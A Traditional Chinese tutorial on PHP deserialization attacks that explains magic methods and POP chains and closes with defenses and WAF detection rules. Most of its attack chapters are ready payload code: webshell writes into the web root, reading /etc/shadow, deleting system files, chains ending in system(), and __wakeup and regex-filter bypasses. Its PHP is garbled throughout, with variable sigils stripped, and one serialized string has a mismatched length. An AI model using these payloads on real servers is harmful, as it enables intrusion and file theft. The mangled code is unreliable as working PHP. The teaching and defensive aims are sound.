目錄
- 序列化與反序列化基礎
- 為什麼反序列化是危險的?
- Magic Methods 完整解析
- 反序列化攻擊的完整生命週期
- POP Chain 攻擊鏈
- 實戰案例分析
- 防護策略與最佳實踐
第一章:序列化與反序列化基礎
1.1 什麼是序列化?
在程式開發中,我們經常需要把記憶體中的資料結構保存下來,或者透過網路傳輸給其他系統。但記憶體中的物件是複雜的資料結構,無法直接儲存或傳輸。這時候,我們需要一種方式把它「打包」成可儲存、可傳輸的格式。
序列化(Serialization) 就是把 PHP 的變數、陣列、物件等資料結構,轉換成一個字串的過程。
<?php
class User {
public username;
publicemail;
private password;
protectedrole;
public function __construct(username,email, password,role) {
this->username =username;
this->email =email;
this->password =password;
this->role =role;
}
}
user = new User("alice", "[email protected]", "secret123", "admin");serialized = serialize(user);
echoserialized;
輸出結果:
O:4:"User":4:{s:8:"username";s:5:"alice";s:5:"email";s:17:"[email protected]";s:14:"Userpassword";s:9:"secret123";s:7:"*role";s:5:"admin";}
1.2 序列化字串格式解析
讓我們拆解這個字串,理解它的結構:
O:4:"User":4:{...}
│ │ │ │
│ │ │ └── 物件有 4 個屬性
│ │ └── 類別名稱是 "User"
│ └── 類別名稱長度是 4 個字元
└── O 代表 Object(物件)
常見的類型標記:
| 標記 | 意義 | 範例 |
|---|---|---|
s |
字串 (string) | s:5:"hello" |
i |
整數 (integer) | i:42 |
b |
布林值 (boolean) | b:1 或 b:0 |
d |
浮點數 (double) | d:3.14 |
a |
陣列 (array) | a:2:{i:0;s:1:"a";i:1;s:1:"b";} |
O |
物件 (object) | O:4:"User":1:{...} |
N |
NULL | N; |
1.3 什麼是反序列化?
反序列化(Unserialization) 是序列化的逆向過程,把字串還原成原本的資料結構。
<?php
serialized = 'O:4:"User":4:{s:8:"username";s:5:"alice";...}';user = unserialize(serialized);
echouser->username; // 輸出: alice
1.4 為什麼需要序列化?
序列化在實際開發中有許多應用場景:
- Session 儲存:PHP 的 session 機制預設使用序列化來儲存使用者資料
- 快取系統:將物件序列化後存入 Redis、Memcached 等快取系統
- 資料庫儲存:將複雜資料結構存入資料庫的文字欄位
- API 傳輸:在不同系統間傳遞複雜資料結構
- 訊息佇列:將任務物件序列化後放入佇列等待處理
第二章:為什麼反序列化是危險的?
2.1 核心問題:自動執行的 Magic Methods
PHP 反序列化的安全威脅源自於一個關鍵特性:反序列化過程會自動觸發某些 Magic Methods。
當你呼叫 unserialize() 時,PHP 會:
- 解析序列化字串
- 根據字串中的類別名稱建立物件
- 將屬性值填入物件
- 自動呼叫
__wakeup()或__unserialize()方法 - 當物件被銷毀時,自動呼叫
__destruct()方法
如果攻擊者能控制被反序列化的字串內容,他就能:
- 指定要建立哪個類別的物件
- 控制物件的所有屬性值
- 間接控制 Magic Methods 的行為
2.2 一個簡單的漏洞示範
<?php
// 系統中存在的類別
class TempFile {
public filename;
public function __destruct() {
// 物件銷毀時,刪除暫存檔
if (file_exists(this->filename)) {
unlink(this->filename);
echo "已刪除檔案: {this->filename}\n";
}
}
}
// 正常使用情境
temp = new TempFile();temp->filename = "/tmp/upload_abc123.tmp";
// 當 temp 被銷毀時,會刪除這個暫存檔
// 危險的程式碼:反序列化使用者輸入userInput = _GET['data'];obj = unserialize($userInput);
攻擊者可以構造這樣的請求:
?data=O:8:"TempFile":1:{s:8:"filename";s:11:"/etc/passwd";}
當這個惡意物件被反序列化後,$filename 會被設為 /etc/passwd。當腳本結束、物件被銷毀時,__destruct() 就會嘗試刪除 /etc/passwd。
2.3 攻擊者的優勢
在反序列化攻擊中,攻擊者擁有以下控制權:
| 可控制的項目 | 說明 |
|---|---|
| 類別名稱 | 可以指定系統中任何已載入的類別 |
| 屬性名稱 | 包括 public、protected、private 屬性 |
| 屬性值 | 可以是任意類型的值,包括其他物件 |
| 物件巢狀 | 可以在屬性中放入其他物件,形成複雜的物件圖 |
2.4 攻擊者的限制
但攻擊者也有一些限制:
- 無法執行任意程式碼:只能利用系統中已存在的類別
- 無法呼叫任意方法:只能觸發 Magic Methods
- 類別必須已載入:如果類別尚未被 include/require,無法使用
- 無法修改方法邏輯:只能透過屬性值來影響方法行為
第三章:Magic Methods 完整解析
Magic Methods 是 PHP 中以雙底線 __ 開頭的特殊方法,它們會在特定情況下被 PHP 自動呼叫。理解每個 Magic Method 的觸發時機和用途,是掌握反序列化攻擊的關鍵。
3.1 __construct() – 建構函式
public __construct(mixed ...$values): void
觸發時機:使用 new 關鍵字建立物件時
重要特性:反序列化時不會觸發 __construct()
<?php
class Example {
public data;
public function __construct(data) {
echo "建構函式被呼叫\n";
this->data =data;
}
}
// 這會觸發 __construct()
obj1 = new Example("hello");
// 這不會觸發 __construct()obj2 = unserialize('O:7:"Example":1:{s:4:"data";s:5:"world";}');
echo $obj2->data; // 輸出: world
在反序列化攻擊中的角色:通常不直接被利用,因為反序列化不會觸發它。但了解這點很重要,因為這意味著物件的初始化邏輯會被繞過。
3.2 __destruct() – 解構函式
public __destruct(): void
觸發時機:
– 物件的所有參考都被移除時
– 腳本執行結束時
– 使用 unset() 銷毀物件時
– 物件離開作用域時
攻擊價值:⭐⭐⭐⭐⭐ 極高
這是反序列化攻擊中最常被利用的 Magic Method,因為它一定會被觸發。
<?php
class DatabaseBackup {
public backupFile;
publicdata;
public function __destruct() {
// 危險:將資料寫入由屬性指定的檔案
file_put_contents(this->backupFile,this->data);
}
}
// 攻擊者構造的 payload
malicious = new DatabaseBackup();malicious->backupFile = '/var/www/html/shell.php';
malicious->data = '<?php system(_GET["cmd"]); ?>';
echo serialize(malicious);
// O:14:"DatabaseBackup":2:{s:10:"backupFile";s:26:"/var/www/html/shell.php";s:4:"data";s:32:"<?php system(_GET["cmd"]); ?>";}
常見的危險操作:
– 檔案刪除 (unlink())
– 檔案寫入 (file_put_contents())
– 資料庫操作
– 命令執行 (exec(), system())
– 日誌記錄(可能寫入任意檔案)
3.3 __sleep() – 序列化前處理
public __sleep(): array
觸發時機:呼叫 serialize() 時,在實際序列化之前
用途:
– 清理不需要序列化的資源(如資料庫連線)
– 指定哪些屬性應該被序列化
– 執行序列化前的準備工作
<?php
class Connection {
protected link; // PDO 連線,不需要序列化
privatedsn;
private username;
privatepassword;
public function __construct(dsn,username, password) {this->dsn = dsn;this->username = username;this->password = password;this->connect();
}
private function connect() {
this->link = new PDO(this->dsn, this->username,this->password);
}
public function __sleep() {
// 只序列化連線資訊,不序列化連線物件本身
return ['dsn', 'username', 'password'];
}
}
攻擊價值:⭐ 低
__sleep() 在序列化時觸發,而非反序列化時,因此在反序列化攻擊中較少直接利用。但理解它有助於了解序列化機制。
注意事項:
– 必須回傳一個陣列,包含要序列化的屬性名稱
– 如果回傳非陣列值,PHP 8.0+ 會產生警告
– 無法回傳父類別的 private 屬性名稱
3.4 __wakeup() – 反序列化後處理
public __wakeup(): void
觸發時機:unserialize() 完成後,在物件可用之前
用途:
– 重新建立資料庫連線等資源
– 執行初始化任務
– 驗證或修正屬性值
<?php
class Connection {
protected link;
privatedsn;
private username;
privatepassword;
public function __wakeup() {
// 反序列化後重新建立資料庫連線
this->connect();
}
private function connect() {this->link = new PDO(this->dsn,this->username, $this->password);
}
}
攻擊價值:⭐⭐⭐⭐ 高
__wakeup() 在反序列化後立即觸發,是攻擊鏈的重要起點。
<?php
class ImageProcessor {
public imagePath;
publicoutputPath;
public function __wakeup() {
// 危險:使用使用者可控的路徑
if (file_exists(this->imagePath)) {
copy(this->imagePath, this->outputPath);
}
}
}
// 攻擊者可以複製任意檔案payload = new ImageProcessor();
payload->imagePath = '/etc/passwd';payload->outputPath = '/var/www/html/exposed.txt';
歷史漏洞:CVE-2015-6836 等多個 PHP 漏洞都與 __wakeup() 的繞過有關。
3.5 __serialize() 和 __unserialize() – 自訂序列化
public __serialize(): array
public __unserialize(array $data): void
PHP 版本:7.4.0+
觸發時機:
– __serialize():呼叫 serialize() 時
– __unserialize():呼叫 unserialize() 時
與 __sleep()/__wakeup() 的關係:
– 如果同時定義了 __serialize() 和 __sleep(),只會呼叫 __serialize()
– 如果同時定義了 __unserialize() 和 __wakeup(),只會呼叫 __unserialize()
<?php
class SecureConnection {
protected link;
privatedsn;
private username;
privatepassword;
public function __serialize(): array {
return [
'dsn' => this->dsn,
'user' =>this->username,
'pass' => this->password,
];
}
public function __unserialize(arraydata): void {
this->dsn =data['dsn'];
this->username =data['user'];
this->password =data['pass'];
this->connect();
}
private function connect() {this->link = new PDO(this->dsn,this->username, $this->password);
}
}
攻擊價值:⭐⭐⭐⭐ 高
與 __wakeup() 類似,但提供了更細緻的控制。
3.6 __toString() – 字串轉換
public __toString(): string
觸發時機:當物件被當作字串使用時
– echo $obj
– print $obj
– 字串連接:"Hello " . $obj
– 傳入需要字串的函式:strlen($obj)
– 類型轉換:(string)$obj
<?php
class Template {
public templateFile;
public function __toString() {
// 危險:讀取由屬性指定的檔案
return file_get_contents(this->templateFile);
}
}
template = new Template();template->templateFile = '/etc/passwd';
echo $template; // 輸出 /etc/passwd 的內容
攻擊價值:⭐⭐⭐⭐ 高
__toString() 經常被用作 POP Chain 的一環,特別是當程式碼中有字串操作時。
<?php
class Logger {
public logMessage;
public function __destruct() {
// 這裡會觸發logMessage 的 __toString()
file_put_contents('/var/log/app.log', this->logMessage);
}
}
class FileReader {
publicfile;
public function __toString() {
return file_get_contents(this->file);
}
}
// 攻擊者可以組合這兩個類別來讀取任意檔案reader = new FileReader();
reader->file = '/etc/shadow';logger = new Logger();
logger->logMessage =reader;
// 當 Logger 被銷毀時,會呼叫 FileReader 的 __toString()
// 導致 /etc/shadow 被寫入日誌檔
3.7 __invoke() – 將物件當函式呼叫
__invoke(mixed ...$values): mixed
觸發時機:當物件被當作函式呼叫時
<?php
class Command {
public cmd;
public function __invoke() {
// 危險:執行由屬性指定的命令
return system(this->cmd);
}
}
cmd = new Command();cmd->cmd = 'whoami';
$cmd(); // 執行 whoami 命令
攻擊價值:⭐⭐⭐ 中高
__invoke() 通常需要配合其他觸發點,例如 call_user_func() 或陣列回呼。
<?php
class Callback {
public callback;
publicargs;
public function __destruct() {
// 這會觸發 callback 的 __invoke()(如果它是物件)
call_user_func(this->callback, this->args);
}
}
class Executor {
publiccommand;
public function __invoke(args) {
system(this->command . ' ' . args);
}
}
// 攻擊鏈executor = new Executor();
executor->command = 'cat';callback = new Callback();
callback->callback =executor;
$callback->args = '/etc/passwd';
3.8 __call() – 呼叫不存在的方法
public __call(string name, arrayarguments): mixed
觸發時機:當呼叫物件上不存在或不可存取的方法時
<?php
class DynamicMethod {
public methods = [];
public function __call(name, arguments) {
if (isset(this->methods[name])) {
// 危險:動態呼叫儲存的回呼函式
return call_user_func_array(this->methods[name],arguments);
}
}
}
obj = new DynamicMethod();obj->methods['exec'] = 'system';
$obj->exec('whoami'); // 執行系統命令
攻擊價值:⭐⭐⭐ 中高
__call() 在複雜的 POP Chain 中很有用,可以轉發方法呼叫。
3.9 __callStatic() – 呼叫不存在的靜態方法
public static __callStatic(string name, arrayarguments): mixed
觸發時機:當呼叫類別上不存在或不可存取的靜態方法時
<?php
class Facade {
public static target;
public static function __callStatic(name, arguments) {instance = new self::target;
return call_user_func_array([instance, name],arguments);
}
}
// Facade::anyMethod() 會轉發到 $target 類別
攻擊價值:⭐⭐ 中
較少直接用於反序列化攻擊,因為靜態方法的呼叫較難透過序列化控制。
3.10 __get() – 存取不存在的屬性
public __get(string $name): mixed
觸發時機:當讀取不存在或不可存取的屬性時
<?php
class Config {
private settings = [];
publicconfigFile;
public function __get(name) {
if (empty(this->settings)) {
// 危險:從使用者可控的檔案載入設定
this->settings = include(this->configFile);
}
return this->settings[name] ?? null;
}
}
攻擊價值:⭐⭐⭐ 中高
當 POP Chain 中存取了不存在的屬性時,可以觸發 __get()。
3.11 __set() – 設定不存在的屬性
public __set(string name, mixedvalue): void
觸發時機:當設定不存在或不可存取的屬性時
<?php
class DynamicObject {
private data = [];
publicstorage;
public function __set(name,value) {
this->data[name] = value;
// 危險:自動持久化到檔案
file_put_contents(this->storage, serialize($this->data));
}
}
攻擊價值:⭐⭐⭐ 中
可以在屬性賦值操作中被觸發。
3.12 __isset() – 檢查不存在的屬性
public __isset(string $name): bool
觸發時機:對不存在的屬性呼叫 isset() 或 empty() 時
<?php
class LazyLoader {
private loaded = [];
publicloaderCallback;
public function __isset(name) {
if (!isset(this->loaded[name])) {
// 可能觸發載入邏輯this->loaded[name] = call_user_func(this->loaderCallback, name);
}
return isset(this->loaded[$name]);
}
}
攻擊價值:⭐⭐ 中
需要程式碼中有對物件屬性的 isset() 檢查才能觸發。
3.13 __unset() – 刪除不存在的屬性
public __unset(string $name): void
觸發時機:對不存在的屬性呼叫 unset() 時
<?php
class SecureStorage {
private data = [];
publicbackupPath;
public function __unset(name) {
unset(this->data[name]);
// 危險:刪除時同步到檔案
unlink(this->backupPath . '/' . $name);
}
}
攻擊價值:⭐⭐ 中
較少見,需要特定的程式碼模式才能觸發。
3.14 __set_state() – var_export 重建
static __set_state(array $properties): object
觸發時機:當使用 var_export() 匯出物件,然後用 eval() 重建時
<?php
class State {
public var1;
publicvar2;
public static function __set_state(an_array) {obj = new State();
obj->var1 =an_array['var1'];
obj->var2 =an_array['var2'];
return obj;
}
}a = new State();
a->var1 = 5;a->var2 = 'foo';
// var_export 產生可以用 eval 執行的 PHP 程式碼
exported = var_export(a, true);
// 結果: State::__set_state(array('var1' => 5, 'var2' => 'foo',))
eval('restored = ' .exported . ';');
攻擊價值:⭐ 低
這個方法與 var_export() 配合使用,而非 serialize()/unserialize(),因此在典型的反序列化攻擊中較少見。
3.15 __clone() – 物件複製
__clone(): void
觸發時機:使用 clone 關鍵字複製物件時
<?php
class Document {
public id;
publiccontent;
private createdAt;
public function __clone() {
// 複製時重設 ID 和建立時間this->id = uniqid();
this->createdAt = new DateTime();
}
}doc1 = new Document();
doc2 = clonedoc1; // 觸發 __clone()
攻擊價值:⭐ 低
__clone() 不會在反序列化過程中被觸發,因此在反序列化攻擊中很少使用。
3.16 __debugInfo() – 除錯輸出
__debugInfo(): array
觸發時機:當使用 var_dump() 或 print_r() 輸出物件時
<?php
class SecretData {
private secret = 'top-secret-key';
privatedata;
public function __construct(data) {this->data = data;
}
public function __debugInfo() {
// 隱藏敏感資訊
return [
'data' =>this->data,
'hasSecret' => !empty(this->secret),
];
}
}obj = new SecretData('hello');
var_dump(obj);
// 輸出不會包含secret 的實際值
攻擊價值:⭐ 低
主要用於除錯目的,在反序列化攻擊中幾乎不使用。
3.17 Magic Methods 攻擊價值總覽
| 方法 | 觸發時機 | 攻擊價值 | 說明 |
|---|---|---|---|
__destruct() |
物件銷毀 | ⭐⭐⭐⭐⭐ | 最常被利用,一定會觸發 |
__wakeup() |
反序列化後 | ⭐⭐⭐⭐ | 反序列化入口點 |
__unserialize() |
反序列化後 | ⭐⭐⭐⭐ | PHP 7.4+ 的新機制 |
__toString() |
字串轉換 | ⭐⭐⭐⭐ | POP Chain 常用 |
__call() |
呼叫不存在方法 | ⭐⭐⭐ | 方法轉發 |
__invoke() |
物件當函式呼叫 | ⭐⭐⭐ | 回呼函式場景 |
__get() |
存取不存在屬性 | ⭐⭐⭐ | 屬性存取觸發 |
__set() |
設定不存在屬性 | ⭐⭐⭐ | 屬性賦值觸發 |
__isset() |
isset() 檢查 | ⭐⭐ | 需要特定程式碼模式 |
__unset() |
unset() 呼叫 | ⭐⭐ | 需要特定程式碼模式 |
__callStatic() |
靜態方法呼叫 | ⭐⭐ | 較難控制 |
__sleep() |
序列化前 | ⭐ | 序列化時觸發,非反序列化 |
__serialize() |
序列化時 | ⭐ | 序列化時觸發,非反序列化 |
__construct() |
new 建立物件 | ⭐ | 反序列化不觸發 |
__clone() |
clone 物件 | ⭐ | 反序列化不觸發 |
__set_state() |
var_export 重建 | ⭐ | 與 serialize 無關 |
__debugInfo() |
var_dump 輸出 | ⭐ | 主要用於除錯 |
第四章:反序列化攻擊的完整生命週期
4.1 階段一:偵察(Reconnaissance)
攻擊的第一步是收集資訊:
尋找反序列化入口點
// 常見的危險模式
data = unserialize(_GET['data']);
data = unserialize(_POST['data']);
data = unserialize(_COOKIE['session']);
data = unserialize(base64_decode(_GET['token']));
$data = unserialize(file_get_contents('php://input'));
識別可能洩漏的資訊
- 錯誤訊息可能揭示類別名稱
- 公開的原始碼(GitHub、備份檔案)
- Composer 的
composer.json和composer.lock揭示使用的套件 - PHP 資訊頁面 (
phpinfo())
4.2 階段二:類別分析(Gadget Hunting)
識別危險的 Magic Methods
攻擊者會分析系統中所有可用的類別,尋找:
- 直接危險的操作
- 檔案操作:
file_get_contents(),file_put_contents(),unlink(),fopen() - 命令執行:
system(),exec(),shell_exec(),passthru(),popen() - 程式碼執行:
eval(),assert(),create_function(),call_user_func() - 包含檔案:
include(),require(),include_once(),require_once()
- 檔案操作:
- 間接觸發其他 Magic Methods 的操作
- 字串連接或輸出(觸發
__toString()) - 動態方法呼叫(觸發
__call()) - 動態屬性存取(觸發
__get()) - 回呼函式呼叫(觸發
__invoke())
- 字串連接或輸出(觸發
4.3 階段三:建構 POP Chain
什麼是 POP Chain?
POP(Property Oriented Programming)Chain 是一連串透過物件屬性連結起來的方法呼叫鏈。
攻擊者透過精心安排物件之間的關係,讓一個 Magic Method 的執行觸發另一個物件的 Magic Method,最終達成攻擊目的。
<?php
// 類別 A:入口點
class A {
public obj;
public function __destruct() {
echothis->obj; // 觸發 obj 的 __toString()
}
}
// 類別 B:中繼點
class B {
publichandler;
public function __toString() {
this->handler->process(); // 觸發handler 的 __call()(如果 process 不存在)
return "";
}
}
// 類別 C:跳板
class C {
public callback;
publicargs;
public function __call(name,arguments) {
call_user_func(this->callback,this->args); // 觸發 callback 的 __invoke()
}
}
// 類別 D:最終執行點
class D {
publiccommand;
public function __invoke(args) {
system(this->command); // 執行系統命令
}
}
// 建構 POP Chain
d = new D();d->command = 'id';
c = new C();c->callback = d;c->args = 'dummy';
b = new B();b->handler = c;a = new A();
a->obj =b;
// 產生 payload
payload = serialize(a);
echo base64_encode($payload);
執行流程:
unserialize(payload)
↓
A::__destruct() 被呼叫
↓
echothis->obj 觸發 B::__toString()
↓
this->handler->process() 觸發 C::__call()(process 不存在)
↓
call_user_func(this->callback, ...) 觸發 D::__invoke()
↓
system($this->command) 執行命令
4.4 階段四:繞過防護
常見的防護與繞過
__wakeup()驗證繞過CVE-2016-7124:當序列化字串中的屬性數量大於實際屬性數量時,
__wakeup()不會被呼叫。// 原始序列化 O:4:"User":2:{s:4:"name";s:5:"admin";s:4:"role";s:4:"user";} // 繞過 __wakeup():將 2 改為 3 O:4:"User":3:{s:4:"name";s:5:"admin";s:4:"role";s:4:"user";}- 類別名稱大小寫
PHP 的類別名稱是不區分大小寫的:
O:4:"User":1:{...} O:4:"USER":1:{...} // 同樣有效 O:4:"user":1:{...} // 同樣有效 - 使用 + 號繞過正則過濾
O:4:"User":1:{...} O:+4:"User":1:{...} // 同樣有效,可能繞過簡單的過濾
4.5 階段五:投放與執行
Payload 編碼
攻擊者通常會對 payload 進行編碼以避免傳輸問題:
// Base64 編碼
encoded = base64_encode(serialize(obj));
// URL 編碼
encoded = urlencode(serialize(obj));
// 雙重編碼
encoded = urlencode(urlencode(serialize(obj)));
投放方式
- GET/POST 參數
- Cookie
- HTTP Header(如 X-Forwarded-For)
- 檔案上傳
- 資料庫欄位(如果資料稍後會被反序列化)
第五章:POP Chain 深入解析
5.1 POP Chain 建構策略
向後追蹤法
從目標操作開始,向後尋找觸發路徑:
目標:執行 system() 命令
↑
需要:找到呼叫 system() 的 Magic Method
↑
找到:ClassD::__invoke() 呼叫 system(this->cmd)
↑
需要:找到能觸發 __invoke() 的地方
↑
找到:ClassC::__call() 呼叫 call_user_func(this->callback)
↑
需要:找到能觸發 __call() 的地方
↑
...以此類推
向前追蹤法
從入口點開始,向前尋找可能的路徑:
入口:unserialize(userInput)
↓
觸發:ClassA::__wakeup() 或 __destruct()
↓
分析:這些方法做了什麼操作?
↓
發現:echothis->property 可能觸發 __toString()
↓
...以此類推
5.2 常見 POP Chain 模式
模式一:直接執行
class DirectExec {
public cmd;
public function __destruct() {
system(this->cmd);
}
}
模式二:字串觸發鏈
class Entry {
public output;
public function __destruct() {
echothis->output; // 觸發 __toString()
}
}
class FileReader {
public file;
public function __toString() {
return file_get_contents(this->file);
}
}
模式三:回呼執行鏈
class CallbackExecutor {
public callback;
publicargs;
public function __destruct() {
call_user_func_array(this->callback,this->args);
}
}
// payload
obj = new CallbackExecutor();obj->callback = 'system';
$obj->args = ['id'];
模式四:動態方法鏈
class Dispatcher {
public target;
publicmethod;
public args;
public function __wakeup() {this->target->{this->method}(...this->args);
}
}
class Dangerous {
public function execute(cmd) {
system(cmd);
}
}
// payload
dangerous = new Dangerous();dispatcher = new Dispatcher();
dispatcher->target =dangerous;
dispatcher->method = 'execute';dispatcher->args = ['id'];
5.3 知名框架的 POP Chain
Laravel POP Chain 範例(簡化版)
// PendingBroadcast 類別
class PendingBroadcast {
protected events;
protectedevent;
public function __destruct() {
this->events->dispatch(this->event);
}
}
// Dispatcher 類別
class Dispatcher {
protected listeners;
public function dispatch(event) {
foreach (this->listeners[event] as listener) {listener(event);
}
}
}
// 攻擊者可以設定listeners 為惡意回呼
實際框架漏洞案例
– Laravel: CVE-2019-9081
– Symfony: CVE-2019-18889
– Yii: CVE-2020-15148
– PHPMailer: CVE-2016-10033
第六章:實戰案例分析
6.1 案例一:簡單的檔案刪除
漏洞程式碼
<?php
class Cache {
public cacheFile;
public function __destruct() {
if (file_exists(this->cacheFile)) {
unlink(this->cacheFile);
}
}
}
// 危險:直接反序列化使用者輸入data = unserialize($_COOKIE['cache_data']);
攻擊 Payload
<?php
class Cache {
public cacheFile;
}exploit = new Cache();
exploit->cacheFile = '/var/www/html/index.php';
echo urlencode(serialize(exploit));
// O%3A5%3A%22Cache%22%3A1%3A%7Bs%3A9%3A%22cacheFile%22%3Bs%3A24%3A%22%2Fvar%2Fwww%2Fhtml%2Findex.php%22%3B%7D
6.2 案例二:任意檔案寫入(Webshell)
漏洞程式碼
<?php
class Logger {
public logFile = '/var/log/app.log';
publiccontent = '';
public function __destruct() {
file_put_contents(this->logFile,this->content, FILE_APPEND);
}
}
input = base64_decode(_POST['log_data']);
logger = unserialize(input);
攻擊 Payload
<?php
class Logger {
public logFile;
publiccontent;
}
exploit = new Logger();exploit->logFile = '/var/www/html/uploads/shell.php';
exploit->content = '<?php system(_GET["cmd"]); ?>';
echo base64_encode(serialize($exploit));
6.3 案例三:完整 POP Chain
漏洞程式碼(多個類別)
<?php
class User {
public name;
publicprofile;
public function __destruct() {
echo "Goodbye, " . this->profile;
}
}
class Profile {
publicformatter;
public data;
public function __toString() {
returnthis->formatter->format(this->data);
}
}
class Formatter {
publicfilters = [];
public function format(data) {
foreach (this->filters as filter) {data = call_user_func(filter,data);
}
return data;
}
}
// 入口點userData = unserialize($_COOKIE['user']);
攻擊 Payload
<?php
class User {
public profile;
}
class Profile {
publicformatter;
public data;
}
class Formatter {
publicfilters = [];
}
// 建構 POP Chain
formatter = new Formatter();formatter->filters = ['system'];
profile = new Profile();profile->formatter = formatter;profile->data = 'id';
user = new User();user->profile = profile;
echo urlencode(serialize(user));
執行流程:
unserialize() → User 物件建立
↓
腳本結束 → User::__destruct()
↓
echo this->profile → Profile::__toString()
↓this->formatter->format() → Formatter::format()
↓
call_user_func('system', 'id') → 執行命令
6.4 案例四:繞過 __wakeup() 保護
漏洞程式碼
<?php
class SecureFile {
public filename = '/tmp/safe.txt';
public function __wakeup() {
// 嘗試在反序列化後重設為安全值this->filename = '/tmp/safe.txt';
}
public function __destruct() {
if (file_exists(this->filename)) {
unlink(this->filename);
}
}
}
data = unserialize(_GET['data']);
繞過方法(CVE-2016-7124)
適用於 PHP < 5.6.25 和 PHP 7 < 7.0.10:
// 原始序列化
O:10:"SecureFile":1:{s:8:"filename";s:16:"/etc/passwd";}
// 繞過版本:將屬性數量 1 改為 2
O:10:"SecureFile":2:{s:8:"filename";s:11:"/etc/passwd";}
當屬性數量宣告與實際不符時,__wakeup() 不會被呼叫,但 __destruct() 仍會執行。
第七章:防護策略與最佳實踐
7.1 根本解決方案:避免反序列化不可信資料
最佳做法:使用 JSON
// 不要這樣做
data = unserialize(_POST['data']);
// 改用 JSON
data = json_decode(_POST['data'], true);
JSON 只能表示基本資料類型(字串、數字、陣列、物件),不會建立 PHP 類別的實例,因此沒有 Magic Method 被觸發的風險。
7.2 如果必須使用序列化
方法一:限制允許的類別(PHP 7.0+)
// 只允許特定類別
allowed = ['SafeClass', 'AnotherSafeClass'];obj = unserialize(data, ['allowed_classes' =>allowed]);
// 不允許任何類別(只允許基本類型和陣列)
obj = unserialize(data, ['allowed_classes' => false]);
方法二:簽章驗證
class SecureSerializer {
private secretKey;
public function __construct(secretKey) {
this->secretKey =secretKey;
}
public function serialize(data) {serialized = serialize(data);signature = hash_hmac('sha256', serialized,this->secretKey);
return base64_encode(signature . '|' .serialized);
}
public function unserialize(data) {decoded = base64_decode(data);
if (decoded === false) {
throw new Exception('Invalid data format');
}
parts = explode('|',decoded, 2);
if (count(parts) !== 2) {
throw new Exception('Invalid data structure');
}
[signature, serialized] =parts;
expectedSignature = hash_hmac('sha256',serialized, this->secretKey);
if (!hash_equals(expectedSignature, signature)) {
throw new Exception('Invalid signature');
}
return unserialize(serialized, ['allowed_classes' => false]);
}
}
7.3 類別層級的防護
在 Magic Methods 中加入驗證
class SafeFileHandler {
private allowedPaths = ['/tmp/', '/var/cache/'];
publicfilePath;
public function __wakeup() {
this->validatePath();
}
public function __unserialize(arraydata): void {
this->filePath =data['filePath'] ?? '';
this->validatePath();
}
private function validatePath() {realPath = realpath(dirname(this->filePath));isAllowed = false;
foreach (this->allowedPaths asallowed) {
if (strpos(realPath,allowed) === 0) {
isAllowed = true;
break;
}
}
if (!isAllowed) {
throw new Exception('Invalid file path');
}
}
public function __destruct() {
// 安全的操作,因為路徑已經在 __wakeup 中驗證
if (this->filePath && file_exists(this->filePath)) {
unlink($this->filePath);
}
}
}
7.4 架構層級的防護
使用加密的 Session 處理
// php.ini 設定
session.serialize_handler = php_serialize
session.use_strict_mode = 1
// 或使用自訂的 Session Handler
class EncryptedSessionHandler extends SessionHandler {
private key;
public function __construct(key) {
this->key =key;
}
public function read(id) {data = parent::read(id);
if (data === '') {
return '';
}
return this->decrypt(data);
}
public function write(id,data) {
return parent::write(id,this->encrypt(data));
}
private function encrypt(data) {
iv = random_bytes(16);encrypted = openssl_encrypt(data, 'AES-256-CBC',this->key, 0, iv);
return base64_encode(iv . encrypted);
}
private function decrypt(data) {
data = base64_decode(data);
iv = substr(data, 0, 16);
encrypted = substr(data, 16);
return openssl_decrypt(encrypted, 'AES-256-CBC',this->key, 0, $iv);
}
}
7.5 監控與偵測
日誌記錄
function safe_unserialize(data,context = '') {
// 記錄所有反序列化操作
error_log(sprintf(
'[UNSERIALIZE] Context: %s, Length: %d, Hash: %s',
context,
strlen(data),
md5(data)
));
// 檢查可疑模式
if (preg_match('/O:\d+:"[^"]*"/',data)) {
error_log('[UNSERIALIZE WARNING] Object detected in serialized data');
}
return unserialize($data, ['allowed_classes' => false]);
}
Web Application Firewall (WAF) 規則
# 偵測序列化物件模式
SecRule ARGS "@rx O:\d+:\"" "id:1001,phase:2,deny,status:403,msg:'Possible PHP object injection'"
SecRule REQUEST_COOKIES "@rx O:\d+:\"" "id:1002,phase:2,deny,status:403,msg:'Possible PHP object injection in cookie'"
7.6 防護檢查清單
| 檢查項目 | 說明 |
|---|---|
☐ 盡量不使用 unserialize() |
改用 JSON 或其他安全格式 |
☐ 使用 allowed_classes 參數 |
PHP 7.0+ 限制可反序列化的類別 |
| ☐ 實作簽章驗證 | 確保資料未被竄改 |
| ☐ 審查所有 Magic Methods | 確保沒有危險操作 |
| ☐ 最小權限原則 | Web 伺服器程序不應有過高權限 |
| ☐ 定期更新 PHP 版本 | 修補已知的安全漏洞 |
| ☐ 使用安全框架 | 現代框架通常有內建防護 |
| ☐ 程式碼審計 | 定期檢查潛在的反序列化入口點 |
結語
PHP 反序列化漏洞是一種強大但複雜的攻擊向量。它的危險在於攻擊者可以透過控制序列化資料,操控物件的屬性值,並利用 Magic Methods 的自動觸發機制來執行惡意操作。
關鍵要點回顧:
- 理解機制:反序列化會自動觸發特定的 Magic Methods,特別是
__wakeup()、__unserialize()和__destruct() -
識別風險:任何對不可信資料執行
unserialize()的地方都是潛在的攻擊入口 -
POP Chain:攻擊者可以串連多個類別的 Magic Methods,形成複雜的攻擊鏈
-
防護優先順序:
- 最佳:不使用
unserialize()處理不可信資料 - 次佳:使用
allowed_classes限制可反序列化的類別 - 輔助:實作簽章驗證、在 Magic Methods 中加入驗證
- 最佳:不使用



